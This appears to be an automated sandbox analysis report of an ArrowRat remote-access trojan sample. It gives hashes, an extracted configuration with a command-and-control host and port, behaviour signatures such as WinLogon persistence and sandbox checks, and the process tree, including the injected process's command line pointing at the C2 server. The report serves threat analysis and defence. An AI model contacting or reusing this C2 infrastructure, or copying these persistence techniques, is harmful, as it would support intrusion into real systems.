Analysis

  • max time kernel
    145s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-03-2023 23:29

General

  • Target

    x2xFapxhdTcU.exe

  • Size

    138KB

  • MD5

    f24c263ecf54962af2a2ae5e7f5b139e

  • SHA1

    ae62b6a2729f55c70e682247b1eafe09c4e03890

  • SHA256

    e37964ebdb10d9e06d3aa47b5ca1500571e13f582d50add487110c7abb26a76c

  • SHA512

    efb571f03a200b2038f19dae2866e0e68e510b84b040b3a438cf6be2850ce7305cd1635fd9bac6321a7203a35492483dffa07b0d72308c659e3e724023ae691b

  • SSDEEP

    3072:+bvB5mz7Bqh1v59Y08mAjs0Ltel+qOeJHlpV8b+Y/YI:+bvPS7BqjjYHdrqkL/

Malware Config

Extracted

Family

arrowrat

Botnet

JB0QWL

C2

antgobec.duckdns.org:1338

Mutex

3PDHTO

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry class 35 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 29 IoCs
  • Suspicious use of FindShellTrayWindow 49 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\x2xFapxhdTcU.exe
    "C:\Users\Admin\AppData\Local\Temp\x2xFapxhdTcU.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4444
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Modifies Installed Components in the registry
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:716
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" JB0QWL antgobec.duckdns.org 1338 3PDHTO
      2⤵
        PID:1688
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:2364
    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:4892

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133225361569335305.txt

      Filesize

      75KB

      MD5

      65019a5db517d9fb830d8a57406a03ea

      SHA1

      817faf2ffe8461f653519e7bd96e7ee75021c891

      SHA256

      3ae88b3a99e6b785bdb44760790bc03ac722ef5b673ad5b3ca49b5cc5eecf84f

      SHA512

      bcc985d3fa48efcbb4a334b1a341a6686ef6c69f237d6d9bdcd9885696d148519ab824b9150194d783cb03189c1cc00a483f1b73ebce323f1f6a303a05b8ea62

    • memory/716-148-0x0000000002D40000-0x0000000002D41000-memory.dmp

      Filesize

      4KB

    • memory/1688-134-0x0000000000400000-0x0000000000416000-memory.dmp

      Filesize

      88KB

    • memory/1688-138-0x0000000005900000-0x000000000599C000-memory.dmp

      Filesize

      624KB

    • memory/1688-139-0x0000000006120000-0x00000000066C4000-memory.dmp

      Filesize

      5.6MB

    • memory/1688-140-0x00000000060A0000-0x0000000006106000-memory.dmp

      Filesize

      408KB

    • memory/1688-143-0x00000000067D0000-0x0000000006820000-memory.dmp

      Filesize

      320KB

    • memory/1688-137-0x0000000005810000-0x00000000058A2000-memory.dmp

      Filesize

      584KB

    • memory/1688-146-0x0000000005A60000-0x0000000005A70000-memory.dmp

      Filesize

      64KB

    • memory/1688-302-0x0000000005A60000-0x0000000005A70000-memory.dmp

      Filesize

      64KB

    • memory/4444-133-0x000001E481260000-0x000001E481288000-memory.dmp

      Filesize

      160KB

    • memory/4892-154-0x00000140EF1B0000-0x00000140EF1D0000-memory.dmp

      Filesize

      128KB

    • memory/4892-159-0x00000140EF580000-0x00000140EF5A0000-memory.dmp

      Filesize

      128KB

    • memory/4892-157-0x00000140EF170000-0x00000140EF190000-memory.dmp

      Filesize

      128KB

    • memory/4892-313-0x00000138EC600000-0x00000138EDF2F000-memory.dmp

      Filesize

      25.2MB

    • memory/4892-326-0x00000138EC600000-0x00000138EDF2F000-memory.dmp

      Filesize

      25.2MB